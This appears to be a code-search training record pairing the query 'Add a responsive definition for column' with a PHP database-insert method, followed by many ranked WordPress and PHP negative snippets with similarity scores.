[ "0.66551226", "0.6631805", "0.64231277", "0.63911766", "0.63771385", "0.6136264", "0.6111969", "0.6103776", "0.6033436", "0.599822", "0.5998117", "0.59277475", "0.59235436", "0.5879179", "0.5876883", "0.5876883", "0.5876883", "0.5876883", "0.5876883", "0.5876883", "0.5876883", "0.58443767", "0.5802026", "0.57952505", "0.5783835", "0.57504594", "0.5731234", "0.5714513", "0.5664009", "0.5652817", "0.56225586", "0.56135607", "0.56135607", "0.56135607", "0.56135607", "0.56135607", "0.5607332", "0.5597459", "0.5588254", "0.5581797", "0.557237", "0.5568966", "0.55598295", "0.55552876", "0.5543207", "0.5541596", "0.55386037", "0.5532215", "0.55059445", "0.5495605", "0.5477396", "0.5472053", "0.5468949", "0.5467024", "0.5465002", "0.5464014", "0.54604363", "0.5453983", "0.54536074", "0.54493916", "0.5448757", "0.5439972", "0.5436792", "0.54285234", "0.5426577", "0.5422239", "0.5416581", "0.541424", "0.54119605", "0.54105353", "0.54087865", "0.54036707", "0.5402332", "0.5396478", "0.5394069", "0.5390311", "0.5388176", "0.53835994", "0.538314", "0.53776824", "0.53764886", "0.53728294", "0.5371373", "0.5370842", "0.536979", "0.5364431", "0.5332999", "0.53312683", "0.53308505", "0.532824", "0.5327176", "0.5326587", "0.5323658", "0.53181314", "0.5311763", "0.5311109", "0.53084207", "0.5306053", "0.53042024", "0.5287083" ]
0.6477179
2
Remove the responsive definition for column
public function removeResponsiveDefinition($site_id, $page_id, $id, $column_type) { $sql = "DELETE `uspscr` FROM `user_site_page_structure_column_responsive` `uspscr` INNER JOIN `designer_column_type` `dct` ON `uspscr`.`column_type_id` = `dct`.`id` WHERE `uspscr`.`site_id` = :site_id AND `uspscr`.`page_id` = :page_id AND `uspscr`.`column_id` = :column_id AND `dct`.`column_type` = :column_type"; $stmt = $this->_db->prepare($sql); $stmt->bindValue(':site_id', $site_id); $stmt->bindValue(':page_id', $page_id); $stmt->bindValue(':column_id', $id); $stmt->bindValue(':column_type', $column_type); return $stmt->execute(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function discardPreviewColumns();", "function remove_admin_columns() {\n remove_post_type_support( 'post', 'comments' );\n remove_post_type_support( 'page', 'comments' );\n remove_post_type_support( 'attachment', 'comments' );\n remove_post_type_support( 'post', 'author' );\n remove_post_type_support( 'page', 'author' );\n}", "public function dropColumn()\n\t{\n\n\t}", "static function filter_remove_media_columns( $columns ) {\n\t\treturn self::remove_page_columns( 'media', $columns );\n\t}", "function disable_wpseo_remove_columns( $columns )\n {\n\t\tunset( $columns['wpseo-score'] );\n\t\tunset( $columns['wpseo-links'] );\n\t\tunset( $columns['wpseo-linked'] );\n\t\tunset( $columns['wpseo-score-readability'] );\n\t\t\t\n \treturn $columns;\n }", "public function notResponsive()\n {\n return $this->breakpoint();\n }", "function thb_remove_blog_grid_options() {\n\t\tif ( thb_get_admin_template() == 'template-blog-grid.php' ) {\n\t\t\t$fields_container = thb_theme()->getPostType( 'page' )->getMetabox( 'layout' )->getTab( 'blog_loop' )->getContainer( 'loop_container' );\n\t\t\t$fields_container->removeField( 'thumbnails_open_post' );\n\t\t}\n\t}", "function rkv_remove_columns( $columns ) {\n\t// remove the Yoast SEO columns\n\tunset( $columns['wpseo-score'] );\n\tunset( $columns['wpseo-title'] );\n\tunset( $columns['wpseo-metadesc'] );\n\tunset( $columns['wpseo-focuskw'] );\n \n\treturn $columns;\n}", "function wooadmin_my_remove_columns( $posts_columns ) {\n\n unset( $posts_columns['role'] );\n\n unset( $posts_columns['email'] );\n\n unset( $posts_columns['posts'] );\n\n unset( $posts_columns['posts'] );\n\n return $posts_columns;\n\n}", "function wooadmin_my_remove_columns1( $posts_columns ) {\n\n unset( $posts_columns['author'] );\n\n unset( $posts_columns['email'] );\n\n unset( $posts_columns['posts'] );\n\n unset( $posts_columns['posts'] );\n\n return $posts_columns;\n\n}", "function deactivate() {\n global $wpdb;\n $wpdb->query(\"ALTER TABLE wp_posts DROP COLUMN primary_category\" );\n \n }", "function RGC_dashboard_columns() {\n add_screen_option(\n 'layout_columns',\n array(\n 'max' => 1,\n 'default' => 1\n )\n );\n}", "abstract public function remove_column($table_name, $column_name);", "function custom_columns( $columns ){\n\tif (current_user_can('administrator')) {\n\t\t// Remove 'Comments' Column\n\t\tunset($columns['comments']);\n\t}\n\telse {\n\t\t// Remove 'Comments' Column\n\t\tunset($columns['comments']);\n\t\tunset($columns['author']);\n\t}\n\treturn $columns;\n}", "function get_hidden_columns( ) {\r\n\t\t$columns = get_user_option( 'managemedia_page_' . MLACore::ADMIN_PAGE_SLUG . 'columnshidden' );\r\n\r\n\t\tif ( is_array( $columns ) ) {\r\n\t\t\tforeach ( $columns as $index => $value ){\r\n\t\t\t\tif ( empty( $value ) ) {\r\n\t\t\t\t\tunset( $columns[ $index ] );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$columns = self::$default_hidden_columns;\r\n\t\t}\r\n\r\n\t\treturn apply_filters( 'mla_list_table_get_hidden_columns', $columns );\r\n\t}", "public function clearColumnsFromAliasing()\n {\n foreach ($this->columns as $index => $column) {\n $this->columns[$index] = $this->clearColumn($column);\n }\n foreach ($this->columns as $index => $column) {\n $this->columns[$index] = $this->clearColumn($column);\n }\n }", "protected function removeColumns()\n {\n $table = $this->ask('Enter the name of desired table');\n $this->checkInput($table);\n $columns = $this->ask('Enter your desired columns separated by space');\n $this->checkInput($columns);\n $separatedColumns = explode(' ', $columns);\n $this->service->removeColumns($table, $separatedColumns);\n }", "function settings_modify_matrix_column($data)\n\t{\n\t\tif ($data['matrix_action'] == 'delete')\n\t\t{\n\t\t\t// delete any relationships created by this column\n\t\t\t$this->EE->db->where('parent_col_id', $data['col_id'])\n\t\t\t ->delete('playa_relationships');\n\t\t}\n\t}", "protected function _prepareColumns()\n {\n \tparent::_prepareColumns();\n \tunset($this->_columns['actionColumn']);\n }", "public function withoutViewportSize();", "public function removeColumn($index) {\n\t\t$this->columns[$index] = null;\n\t}", "public function removeColumn($columnName)\r\n {\r\n }", "function change_columns_filter( $columns ) {\n unset($columns['product_tag']);\n unset($columns['sku']);\n unset($columns['featured']);\n unset($columns['product_type']);\n unset($columns['post_type']);\n unset($columns['price']);\n return $columns;\n}", "function remove_description_taxonomy( $columns ) {\n\n if( isset( $columns['description'] ) )\n unset( $columns['description'] );\n\n return $columns;\n}", "function spr_section_exclude_uninstall() {\nglobal $spr_exclude_db_debug;\n\n\t$res = safe_query(\"ALTER TABLE \".safe_pfx(\"txp_section\").\" DROP COLUMN spr_exclude;\",$spr_exclude_db_debug);\n\treturn $res;\n}", "public function sunsetContactCustomColumns($column, $post_id)\n {\n switch ($column) {\n case 'message' :\n echo get_the_excerpt();\n break;\n case 'email' :\n $email = get_post_meta($post_id, '_email_key', true);\n echo '<a href=\"mailto:'.$email .'\">'.$email.'</a>';\n break;\n }\n }", "public static function drop_column($table, $column) {\n global $wpdb;\n\n $wpdb->get_results(\"SHOW COLUMNS FROM {$table} LIKE '{$column}'\");\n if (!empty($wpdb->num_rows)) {\n $wpdb->query(\"ALTER TABLE {$table} DROP COLUMN {$column}\");\n }\n }", "public static function removeColumn($col){\n\t\t//\t\t\tarray_slice($db_fields, $col + 1, count($db_fields) -1, true);\n\t\t\t\t\n\t}", "function happy_one_column() {\n\n\tif ( !is_active_sidebar( 'primary' ) && !is_active_sidebar( 'secondary' ) )\n\t\tadd_filter( 'get_theme_layout', 'happy_post_layout_one_column' );\n\n\telseif ( is_attachment() )\n\t\tadd_filter( 'get_theme_layout', 'happy_post_layout_one_column' );\n}", "public function down()\n {\n Schema::table('attachments', function(Blueprint $table) {\n\n $table->dropColumn('viewable_id');\n $table->dropColumn('viewable_type');\n\n\n });\n }", "private function resetQuery()\n {\n $this->cols('*');\n }", "function set_single_column() {\n\t$post_types = get_custom_post_types();\n\t// Comment the next 2 lines to exclude Page and Post.\n\t$post_types['page'] = 'page';\n\t$post_types['post'] = 'post';\n\n\tfunction single_column() {\n\t\treturn 1;\n\t}\n\n\tforeach ( $post_types as $post_type ) {\n\t\t$get_user_option_screen_layout = 'get_user_option_screen_layout_' . $post_type;\n\n\t\tadd_filter( $get_user_option_screen_layout, 'single_column');\n\t}\n}", "function maker_4ym_remove_posts_listing_tags( $columns ) {\n unset( $columns[ 'comments' ] );\n unset( $columns[ 'date' ] );\n return $columns;\n}", "function removeColumn($columnName) {\n foreach ($this->columns as $key => $column) {\n if ($column->columnName === $columnName) {\n //delete the column\n unset($this->columns[$key]);\n }\n }\n }", "function _reset()\n {\n foreach ($this->_cols as $col => $val) {\n if (isset($val['default'])) {\n $this->_data[$col] = $val['default'];\n } else {\n $this->_data[$col] = '';\n }\n }\n }", "public function removeColumn($aField) {\r\n foreach ($this -> mCols as $key => $col) {\r\n if ($key == $aField) {\r\n unset($this -> mCols[$key]);\r\n }\r\n }\r\n }", "public function dropColumn($col);", "static function filter_remove_posts_columns( $columns ) {\n\t\treturn self::remove_page_columns( 'posts', $columns );\n\t}", "function omega_one_column() {\n\n\tif ( !is_active_sidebar( 'primary' ) )\n\t\tadd_filter( 'theme_mod_theme_layout', 'omega_theme_layout_one_column' );\n\n\telseif ( is_attachment() && wp_attachment_is_image() && 'default' == get_post_layout( get_queried_object_id() ) )\n\t\tadd_filter( 'theme_mod_theme_layout', 'omega_theme_layout_one_column' );\n\n}", "function swm_remove_divi_viewport_meta() {\n\tremove_action( 'wp_head', 'et_add_viewport_meta' );\n}", "protected function getColResetHTML(){\n\n return '<div class=\"col-12\"></div>';\n\n }", "function my_columns_filter( $columns ) {\n unset($columns['tags']);\n unset($columns['categories']);\n unset($columns['tags']);\n unset($columns['comments']);\n return $columns;\n}", "public function previewColumns();", "public function wp_nav_menu_manage_columns()\n {\n }", "public function dropTemporaryColumns()\n\t{\n\t\tif($this->Input->get('do') != 'member' && $this->Input->get('act') != 'edit' )\n\t\t{\n\t\t\t$objExtRegFields = $this->Database->prepare(\"SELECT name FROM \" . $this->strTableFields)->execute();\n\t\t\t\t\t\t\t\n\t\t\tif(!$objExtRegFields->numRows)\n\t\t\t{\n\t\t\t\treturn;\t\n\t\t\t} \n\t\t\t\n\t\t\twhile($objExtRegFields->next() )\n\t\t\t{\n\t\t\t\tif($this->Database->fieldExists($objExtRegFields->name, $this->dcTable, true) )\n\t\t\t\t{\n\t\t\t\t\t$objDrop = $this->Database->prepare(\"ALTER TABLE \".$this->dcTable.\" DROP \".$objExtRegFields->name.\"\" )->execute();\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t}\n\t}", "static function remove_page_columns( $page = 'posts', $original_columns = array() ) {\n\n\t\t// Skip if this tool is site-disabled (when network-disabled, it should load with network defaults)\n\t\tif ( ! Clientside_Options::get_saved_option( 'enable-admin-column-manager-tool' ) && ! Clientside_Options::get_saved_network_option( 'disable-admin-column-manager-tool' ) ) {\n\t\t\treturn $original_columns;\n\t\t}\n\n\t\t// All applicable columns\n\t\t$columns = self::get_column_info( $page );\n\t\tforeach ( $columns as $column_slug => $column_info ) {\n\n\t\t\t// Skip if this column is not in the current column set\n\t\t\tif ( ! isset( $original_columns[ $column_slug ] ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Determine wether this column should be enabled/disabled\n\t\t\t// If this tool is network disabled, use the network defaults\n\t\t\tif ( Clientside_Options::get_saved_network_option( 'disable-admin-column-manager-tool' ) ) {\n\t\t\t\t$column_is_enabled = Clientside_Options::get_saved_network_default_option( 'admin-column-manager-' . $page . '-' . $column_slug );\n\t\t\t}\n\t\t\t// Use the regular site options\n\t\t\telse {\n\t\t\t\t$column_is_enabled = Clientside_Options::get_saved_option( 'admin-column-manager-' . $page . '-' . $column_slug );\n\t\t\t}\n\n\t\t\t// Remove column if role-based option is set to false\n\t\t\tif ( ! $column_is_enabled ) {\n\t\t\t\tunset( $original_columns[ $column_slug ] );\n\t\t\t}\n\n\t\t}\n\n\t\t// Return\n\t\treturn $original_columns;\n\n\t}", "function woo_load_site_width_css_nomedia() {}", "function wp_ajax_hidden_columns()\n {\n }", "public function removeCol($column_start, $column_end) {\n\t}", "function lgm_theme_remove_commentspage_column($defaults) {\n\t unset($defaults['comments']);\n\t return $defaults;\n\t}", "function deleteListM($columnname){\n $sql= \"ALTER TABLE `all_list` DROP $columnname\";\n $result= $this->db->query($sql);\n if(!$result){\n echo \"Unable to Delete Column !\";\n }else{\n echo \"Successfully Deleted !\";\n }\n }", "function sunset_custom_columns_list($columns, $post_id)\n{\n switch ($columns) {\n case 'message':\n echo get_the_excerpt();\n break;\n case 'email':\n $email = get_post_meta($post_id, '_email_contact_value_key', true);\n echo '<a href=\"mailto:' . $email . '\">' . $email . '</a>';\n break;\n }\n}", "protected function _clearSchema()\n {\n\n // Show all tables in the installation.\n foreach (get_db()->query('SHOW TABLES')->fetchAll() as $row) {\n\n // Extract the table name.\n $rv = array_values($row);\n $table = $rv[0];\n\n // If the table is a Neatline table, drop it.\n if (in_array('neatline', explode('_', $table))) {\n $this->db->query(\"DROP TABLE $table\");\n }\n\n }\n\n }", "function wp_nav_menu_manage_columns()\n {\n }", "function js_custom_set_custom_edit_project_columns( $columns ) {\n\tunset( $columns['author'] );\n\tunset( $columns['categories'] );\n\tunset( $columns['tags'] );\n\tunset( $columns['comments'] );\n\tunset( $columns['date'] );\n\tunset( $columns['title'] );\n\treturn $columns;\n}", "function get_hidden_columns($screen)\n {\n }", "public function hidden(): Column\n {\n return $this->booleanAttribute('visible', false);\n }", "function wooadmin_so_screen_layout_columns( $columns ) {\n $columns['dashboard'] = 1;\n return $columns;\n}", "function yy_r37(){ $this->_retvalue = new SQL\\AlterTable\\DropColumn($this->yystack[$this->yyidx + 0]->minor); }", "public function remove_post_tag_columns( $columns ) {\n if ( isset( $columns['description']) ) {\n unset( $columns['description'] );\n }\n\n return $columns;\n }", "static function filter_remove_woocommerce_product_columns( $columns ) {\n\t\treturn self::remove_page_columns( 'woocommerce-products', $columns );\n\t}", "static function filter_remove_woocommerce_coupon_columns( $columns ) {\n\t\treturn self::remove_page_columns( 'woocommerce-coupons', $columns );\n\t}", "function uc_group_columns( $columns ) {\n unset( $columns['date'] );\n $columns['school_year'] = __( 'School Year', UPTOWNCODE_PLUGIN_NAME );\n $columns['class'] = __( 'Class', UPTOWNCODE_PLUGIN_NAME );\n $columns['activity'] = __( 'Activity', UPTOWNCODE_PLUGIN_NAME );\n $columns['signup'] = __( 'Signup', UPTOWNCODE_PLUGIN_NAME );\n return $columns;\n}", "public function drop()\r\n\t{\r\n\t\t// You cannot drop a column that doesnt exist\r\n\t\tif( ! $this->loaded())\r\n\t\t{\r\n\t\t\tthrow new Kohana_Exception('Unable to drop unloaded column :col', array(\r\n\t\t\t\t'col' => $this->name\r\n\t\t\t));\r\n\t\t}\r\n\t\t\r\n\t\t// Drops the column\r\n\t\tDB::alter($this->table->name)\r\n\t\t\t->drop($this->name)\r\n\t\t\t->execute($this->table->database);\r\n\t}", "function remove_devicepx() {\nwp_dequeue_script( 'devicepx' );\n}", "public static function getDefaultColumnLayout() {}", "function dropColumn($table, $name);", "function removeSid() {\n\t\t$tbl = 'settings';\n\t\t$cols = $this->getColsByTable($tbl);\n\t\t$sid = $this->findColumn($cols, 'sid');\n\t\t\n\t\tif ( $sid !== false ) {\n\t\t\t$this->db->query(\"ALTER TABLE `\". $this->tablepre . $tbl .\"` DROP COLUMN `sid`\");\n\t\t}\n\t}", "public function clearColgroupClass()\n {\n $this->html_colgroup_class = [];\n }", "function settings_modify_column($data)\n\t{\n\t\tif ($data['ee_action'] == 'delete')\n\t\t{\n\t\t\t// delete any relationships created by this field\n\t\t\t$this->EE->db->where('parent_field_id', $data['field_id'])\n\t\t\t ->delete('playa_relationships');\n\t\t}\n\n\t\t// just return the default column settings\n\t\treturn parent::settings_modify_column($data);\n\t}", "private function initColumns(){\n //Initialize our custom post type column management\n $this->cptWPDSCols = new Columns($this->wpdsPostType);\n \n //Remove our title\n $this->cptWPDSCols->removeColumn('title');\n \n //Add our content column\n $this->cptWPDSCols->addColumn('content', 'Content', 2);\n \n //Add our content column content\n $this->cptWPDSCols->addColumnPostContent('content');\n \n //Add our content column content\n $this->cptWPDSCols->addColumnOptionData('content', 'site_url');\n \n //Reposition column\n $this->cptWPDSCols->reorderColumn('content', 1);\n }", "public function down()\n\t{\n//\t\t$this->dbforge->drop_table('blog');\n\n//\t\t// Dropping a Column From a Table\n\t\t$this->dbforge->drop_column('categories', 'icon');\n\t}", "protected function loadColumns(){\n\t\t\t$this->columns = array_diff(\n\t\t\t\tarray_keys(get_class_vars($this->class)),\n\t\t\t\t$this->getIgnoreAttributes()\n\t\t\t);\n\t\t}", "public function removeColumn($columnName)\n {\n if (isset($this->allColumns[$columnName])) {\n unset($this->allColumns[$columnName]);\n }\n }", "public static function filter_manage_th_domain_posts_columns( $columns ) {\n unset( $columns['wpseo-focuskw'] );\n unset( $columns['wpseo-score'] );\n unset( $columns['wpseo-title'] );\n unset( $columns['wpseo-metadesc'] );\n unset( $columns['date'] );\n $columns['registrar'] = __( 'Registrar', 'th' );\n $columns['expiration'] = __( 'Expiration Date', 'th' );\n return $columns;\n }", "private function remove_metaboxes()\n {\n global $wp_meta_boxes;\n\n if ($this->is_dashboard_all_hidden() && ($this->get_settings('hide_at_a_glance') &&\n $this->get_settings('hide_activities') &&\n $this->get_settings('hide_recent_comments') &&\n $this->get_settings('hide_news_and_events') &&\n $this->get_settings('hide_quick_press'))) {\n\n if (isset($wp_meta_boxes['dashboard'])) :\n foreach ($wp_meta_boxes['dashboard'] as $key => $widget) {\n\n if (isset($wp_meta_boxes['dashboard'][$key]['core'])) :\n foreach ($wp_meta_boxes['dashboard'][$key]['core'] as $dashboard_key => $dashboard) {\n if ($this->remove_dashboard_widget($dashboard_key)) {\n unset($wp_meta_boxes['dashboard'][$key]['core'][$dashboard_key]);\n }\n }\n endif;\n }\n endif;\n return;\n }\n\n if ($this->get_settings('hide_at_a_glance')) {\n unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);\n }\n\n if ($this->get_settings('hide_activities')) {\n unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_activity']);\n }\n\n if ($this->get_settings('hide_recent_comments')) {\n unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);\n }\n\n if ($this->get_settings('hide_news_and_events')) {\n unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);\n }\n\n if ($this->get_settings('hide_quick_press')) {\n unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);\n }\n }", "function sb_slideshow_columns( $columns ) {\n\tunset( $columns['date'] ); // remove date column\n\t$columns['id'] = 'ID';\n\t$columns['shortcode'] = 'Shortcode';\n\t$columns['date'] = 'Date'; // add date column back, at the end\n\n\treturn $columns;\n}", "public function remove_meta_box() {\n\t\tremove_meta_box( $this->tax_name . 'div', 'ctrs-projects', 'side' );\n\t}", "function uninstall() {\n\t\t/** globalising of the needed variables, objects and arrays */\n\t\tglobal $db, $apcms;\n\t\t\n\t\t$query = \"DELETE FROM `\".$apcms['table']['global']['plugins'].\"` WHERE `name`='apcms_sidebar_poweredby';\";\n\t\t$db->unbuffered_query($query);\n\t\n\t\t$query = \"DELETE FROM `\".$apcms['table']['global']['rightsidebar'].\"` WHERE `plugin`='apcms_sidebar_poweredby';\";\n\t\t$db->unbuffered_query($query);\n\t\t$query = \"DELETE FROM `\".$apcms['table']['global']['leftsidebar'].\"` WHERE `plugin`='apcms_sidebar_poweredby';\";\n\t\t$db->unbuffered_query($query);\n\t\t$query = \"DELETE FROM `\".$apcms['table']['global']['rightsidebar'].\"` WHERE `plugin`='apcms_sidebar_poweredby';\";\n\t\t$db->unbuffered_query($query);\n\t\n\t}", "protected function hiddenColumns(): array\n {\n return [];\n }", "function extamus_screen_layout_columns($columns) {\n $columns['dashboard'] = 1;\n return $columns;\n }", "public static function clear_schema()\n {\n }", "function sunset_set_columns_list($columns)\n{\n unset($columns['title']);\n unset($columns['date']);\n unset($columns['author']);\n\n $columns['title'] = 'Full Name';\n $columns['message'] = 'Message';\n $columns['email'] = 'Email';\n $columns['date'] = 'Date';\n\n return $columns;\n}", "public function deleteColumn($name)\n {\n $this->deleteColumns(array($name));\n }", "function gssettings_settings_layout_columns( $columns, $screen ) {\n global $_gssettings_settings_pagehook;\n if ( $screen == $_gssettings_settings_pagehook ) {\n $columns[$_gssettings_settings_pagehook] = 1;\n }\n return $columns;\n }", "function admin_speedup_remove_post_meta_box() {\n\tglobal $post_type;\n\tif ( is_admin() && post_type_supports( $post_type, 'custom-fields' )) {\n\t\tremove_meta_box( 'postcustom', $post_type, 'normal' );\n\t}\n}", "public function down () {\n\t\treturn $this->rename_column ('headline', 'title', 'string', array ('limit' => 72));\n\t}", "function TS_VCSC_Testimonials_AdjustColumnWidths() {\r\n echo '<style type=\"text/css\">\r\n .column-previews {text-align: left; width: 175px !important; overflow: hidden;}\r\n .column-ids {text-align: left; width: 60px !important; overflow: hidden;}\r\n </style>';\r\n }", "function remove_dashboard_meta() {\r\n remove_meta_box( 'dashboard_incoming_links', 'dashboard', 'normal' );\r\n\t\t\t\tremove_meta_box( 'dashboard_welcome', 'dashboard', 'normal' );\r\n remove_meta_box( 'dashboard_plugins', 'dashboard', 'normal' );\r\n remove_meta_box( 'dashboard_primary', 'dashboard', 'side' );\r\n remove_meta_box( 'dashboard_secondary', 'dashboard', 'normal' );\r\n remove_meta_box( 'dashboard_quick_press', 'dashboard', 'side' );\r\n remove_meta_box( 'dashboard_recent_drafts', 'dashboard', 'side' );\r\n remove_meta_box( 'dashboard_recent_comments', 'dashboard', 'normal' );\r\n remove_meta_box( 'dashboard_right_now', 'dashboard', 'normal' );\r\n remove_meta_box( 'dashboard_activity', 'dashboard', 'normal');//since 3.8\r\n}", "public function down()\n {\n Schema::table('coupons', function (Blueprint $table) {\n\n $table->dropColumn(\"image_two_file_name\");\n $table->dropColumn(\"image_two_file_size\");\n $table->dropColumn(\"image_two_content_type\");\n $table->dropColumn(\"image_two_updated_at\");\n\n });\n }", "public function down() {\n $this->dbforge->drop_column('timesheets_items', 'orgID', TRUE);\n $this->dbforge->drop_column('timesheets_items', 'brandID', TRUE);\n $this->dbforge->drop_column('timesheets_items', 'reason_desc', TRUE);\n $this->dbforge->drop_column('timesheets_expenses', 'orgID', TRUE);\n $this->dbforge->drop_column('timesheets_expenses', 'brandID', TRUE);\n $this->dbforge->drop_column('timesheets_expenses', 'reason_desc', TRUE);\n\n // change reason to note\n $fields = array(\n 'reason' => array(\n 'name' => 'note',\n 'type' => \"VARCHAR\",\n 'constraint' => 200,\n 'null' => TRUE\n )\n );\n $this->dbforge->modify_column('timesheets_items', $fields);\n $this->dbforge->modify_column('timesheets_expenses', $fields);\n }", "function getFixedColumns() { return $this->_fixedcolumns; }", "function type_column_header( $columns ) {\r\n\t\tunset( $columns['date'] );\r\n\t\treturn $columns;\r\n\t}", "function remove_widgets(){\r\n remove_meta_box('dashboard_right_now', 'dashboard', 'normal'); \r\n remove_meta_box('dashboard_quick_press', 'dashboard', 'side'); \r\n remove_meta_box('dashboard_activity', 'dashboard', 'normal'); \r\n remove_meta_box('dashboard_primary', 'dashboard', 'side'); \r\n remove_meta_box('dashboard_site_health', 'dashboard', 'side'); \r\n \r\n // Eliminar widget de Elementor que aparece al activar su plugin\r\n remove_meta_box('e-dashboard-overview', 'dashboard', 'normal'); \r\n}", "private function prepareColumns()\n {\n $readOnlyAttribute = $this->readOnlyAttribute;\n\n $columns = [];\n if ($this->canMove) {\n $columns[] = [\n 'class' => MovingColumn::className(),\n 'movingDisabledAttribute' => $readOnlyAttribute,\n ];\n }\n foreach ($this->columns as $column) {\n if (is_string($column)) {\n $column = ['attribute' => $column];\n }\n\n if (empty($column['class'])) {\n $column['class'] = isset($column['items']) ? DropdownInputColumn::className() : TextInputColumn::className();\n }\n\n if ($this->itemClass === null && empty($column['label'])) {\n $column['label'] = Inflector::camel2words($column['attribute'], true);\n }\n\n $column = array_merge([\n 'readOnlyAttribute' => $readOnlyAttribute,\n ], $column);\n\n $columns[] = $column;\n }\n\n if ($this->canRemove) {\n $columns[] = [\n 'class' => 'smart\\grid\\ActionColumn',\n 'options' => ['style' => 'width: 25px;'],\n 'template' => '{remove}',\n 'buttons' => [\n 'remove' => function ($url, $model, $key) use ($readOnlyAttribute) {\n $readOnly = false;\n if ($readOnlyAttribute !== null) {\n $readOnly = ArrayHelper::getValue($model, $readOnlyAttribute);\n }\n\n if ($readOnly) {\n return '';\n }\n\n return Html::a('<span class=\"fas fa-remove\"></span>', '#', [\n 'class' => 'item-remove',\n 'title' => $this->removeLabel,\n ]);\n },\n ],\n ];\n }\n\n $this->_columns = $columns;\n }", "function newsroom_elated_header_top_bar_responsive_styles() {\n\n $hide_top_bar_on_mobile = newsroom_elated_options()->getOptionValue('hide_top_bar_on_mobile');\n\n if($hide_top_bar_on_mobile === 'yes') { ?>\n @media only screen and (max-width: 700px) {\n .eltd-top-bar {\n height: 0;\n display: none;\n }\n }\n <?php }\n }", "public function removeColumn($column){\r\n\r\n if(!$this->hasColumn($column)){\r\n $this->database->rawQuery('ALTER TABLE `'.$this->table.'` DROP '.$column);\r\n return TRUE;\r\n }\r\n\r\n return FALSE;\r\n }", "function change_order_columns_filter( $columns ) {\n unset($columns['shipping_address']);\n unset($columns['customer_message']);\n unset($columns['order_total']);\n return $columns;\n}", "function example_remove_dashboard_widgets() {\n\t \tglobal $wp_meta_boxes;\n\n\t\t// Remove the incomming links widget\n\t\tunset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);\t\n\n\t\t// Remove right now\n\t\tunset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);\n\t\tunset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);\n\t\tunset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);\n\n\t\t// Remove side column\n\t\tunset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);\n\t\tunset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']);\n\t}", "static function getColumns()\n {\n }" ]
[ "0.69966537", "0.62093854", "0.6021851", "0.5998241", "0.5961569", "0.58513135", "0.5820204", "0.5803218", "0.58009964", "0.5779029", "0.56792", "0.5676001", "0.5653392", "0.5639613", "0.5627525", "0.5618098", "0.5582225", "0.5570565", "0.5564597", "0.5488715", "0.5480101", "0.5460868", "0.54511756", "0.54247504", "0.5405833", "0.54019684", "0.54000413", "0.5395754", "0.5364063", "0.5347734", "0.5341923", "0.5340132", "0.53399205", "0.53333724", "0.5330034", "0.5312883", "0.5311776", "0.52917546", "0.529076", "0.5285204", "0.5281682", "0.5276689", "0.5274119", "0.52626574", "0.52573603", "0.5249959", "0.5236096", "0.52337664", "0.5214744", "0.52020246", "0.52005833", "0.51906615", "0.51838255", "0.5181954", "0.51811284", "0.51762855", "0.51747864", "0.5173824", "0.51452863", "0.5129784", "0.51251435", "0.5108653", "0.5099683", "0.5090557", "0.507918", "0.5077333", "0.50720173", "0.50558186", "0.5053531", "0.50428146", "0.50365853", "0.5030196", "0.50153583", "0.50095016", "0.4997707", "0.49890992", "0.49720034", "0.49694684", "0.49671873", "0.4960261", "0.49547803", "0.49546686", "0.49532846", "0.49438316", "0.49393362", "0.49273244", "0.4925563", "0.49240103", "0.49121448", "0.49120978", "0.49097383", "0.4905179", "0.4898757", "0.4895717", "0.4892599", "0.48868188", "0.48803687", "0.48786595", "0.48707438", "0.48696646" ]
0.60843474
2
Add a responsive definition for column
public function addResponsiveDefinition($site_id, $page_id, $id, $column_type, $size) { $sql = "INSERT INTO `user_site_page_structure_column_responsive` ( `site_id`, `page_id`, `column_id`, `column_type_id`, `size` ) VALUES ( :site_id, :page_id, :column_id, ( SELECT `id` FROM `designer_column_type` WHERE `column_type` = :column_type ), :size )"; $stmt = $this->_db->prepare($sql); $stmt->bindValue(':site_id', $site_id); $stmt->bindValue(':page_id', $page_id); $stmt->bindValue(':column_id', $id); $stmt->bindValue(':column_type', $column_type); $stmt->bindValue(':size', $size); return $stmt->execute(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function RGC_dashboard_columns() {\n add_screen_option(\n 'layout_columns',\n array(\n 'max' => 1,\n 'default' => 1\n )\n );\n}", "private function setupIfColumn() {\n \n Blade::directive('if_column', function($expression) {\n $col = $this->stringParamAsString($expression); //gets col\n return '<?php '\n .' if ( (isset($show_columns) && array_search('.$col.',$show_columns)!==FALSE) || '\n . '(isset($hide_columns) && array_search('.$col.',$hide_columns)===FALSE) || '\n .' (!isset($show_columns) && !isset($hide_columns)) ): ?>';\n\n });\n }", "public function previewColumns();", "public function addColumn()\n {\n if ($this->name || $this->timestamps) {\n $this->columns[] = [\n 'column' => $this->name,\n 'length' => $this->length,\n 'dataType' => $this->dataType,\n 'nullable' => $this->nullable,\n 'unsigned' => $this->unsigned,\n 'pk' => $this->pk,\n 'timestamps' => $this->timestamps,\n 'autoIncrement' => $this->autoIncrement,\n 'default' => $this->default,\n 'comment' => $this->comment,\n 'unique' => $this->unique,\n ];\n $this->reset();\n }\n if ($this->foreignKey) {\n $this->columns[] = [\n 'foreignKey' => $this->foreignKey,\n 'references' => $this->references,\n 'on' => $this->on,\n 'onUpdate' => $this->onUpdate,\n 'onDelete' => $this->onDelete,\n ];\n $this->reset();\n }\n }", "private function initColumns(){\n //Initialize our custom post type column management\n $this->cptWPDSCols = new Columns($this->wpdsPostType);\n \n //Remove our title\n $this->cptWPDSCols->removeColumn('title');\n \n //Add our content column\n 